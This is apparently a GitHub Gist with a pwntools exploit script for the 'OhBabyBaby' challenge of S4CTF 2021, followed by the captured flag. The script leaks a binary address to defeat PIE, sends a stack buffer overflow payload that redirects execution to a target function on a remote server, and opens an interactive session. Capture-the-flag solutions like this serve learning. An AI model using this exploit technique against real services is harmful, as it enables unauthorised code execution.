Last active
May 12, 2021 12:50
-
-
Save Error-200/dd2b49da7fa78dc7c6d8b327ab4e6ed4 to your computer and use it in GitHub Desktop.
My exploits for S4CTF 2021
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #OhBabyBaby | |
| from pwn import * | |
| binary = context.binary = ELF('./ohbabybaby') | |
| p = remote('185.14.184.242',12990) | |
| #p = process(binary.path) | |
| p.sendline() | |
| p.sendline() | |
| y = p.recvuntil('Did you enjoy?').decode() | |
| l = y.split() | |
| x = l[-4] | |
| x = x.replace('.','') | |
| print(x) | |
| ultimatePrize = int(x,16) | |
| binary.address = ultimatePrize - binary.sym.ultimatePrize | |
| log.info('binary.address: ' + hex(binary.address)) | |
| payload = b'' | |
| payload += 0x48 * b'A' | |
| payload += p64(binary.sym.ultimatePrize) | |
| p.sendline(payload) | |
| p.interactive() | |
| #S4CTF{W311_D0n3_f0r_th3_3xpl0it_Vuln3rability_i5_aws0m3!!} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment